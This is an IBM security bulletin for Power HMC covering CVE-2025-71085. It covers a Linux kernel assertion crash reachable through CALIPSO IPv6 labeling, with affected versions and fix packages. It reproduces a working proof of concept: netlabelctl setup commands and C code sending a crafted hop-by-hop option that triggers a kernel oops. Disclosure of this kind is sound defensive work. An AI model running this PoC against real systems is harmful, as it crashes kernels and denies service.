Security Bulletin
Summary
The kernel library is used by Power Hardware Management Console (HMC). HMC has addressed the applicable CVE.
Vulnerability Details
CVEID: CVE-2025-71085
DESCRIPTION: In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
There exists a kernel oops caused by a BUG_ON(nhead 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) 0).
The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom INT_MAX and delta = -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.
Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.
PoC:
Using `netlabelctl` tool:
netlabelctl map del default
netlabelctl calipso add pass doi:7
netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;
// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;
// setup cmsghdr
cmsg-cmsg_len = cmsg_len;
cmsg-cmsg_level = IPPROTO_IPV6;
cmsg-cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0);
CWE: CWE-617: Reachable Assertion
CVSS Source: NVD
CVSS Base score: 5.5
CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
Affected Products and Versions
| Affected Product(s) | Version(s) |
| HMC V10.3.1050.0 | V10.3.1050.0 - V10.3.1063.2 |
| HMC V11.1.1110.0 | V11.1.1110.0 - V11.1.1111.5 |
Remediation/Fixes
The following fixes are available on IBM Fix Central at:
V10R3
V11R1
|
Product
|
Affected Version(s)
|
VRMF
|
APAR
|
Remediation/Fix
|
|
Power HMC
|
V10.3.1050.0 - V10.3.1063.2
|
V10.3.1064.0 x86
|
MB04523 |
MF71758 |
|
Power HMC
|
V10.3.1050.0 - V10.3.1063.2
|
V10.3.1064.0 ppc
|
MB04524 |
MF71759 |
|
Power HMC
|
V11.1.1110.0 - V11.1.1111.5
|
V11.1.1112.0 x86
|
MB04525 |
MF71760 |
|
Power HMC
|
V11.1.1110.0 - V11.1.1111.5
|
V11.1.1112.0 ppc
| MB04526 |
MF71761 |
Workarounds and Mitigations
None
Get Notified about Future Security Bulletins
References
Acknowledgement
Change History
11 Jun 2026: Initial Publication
*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.
Disclaimer
According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.
Document Location
Worldwide
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Document Information
Modified date:
11 June 2026
Initial Publish date:
11 June 2026
UID
ibm17275957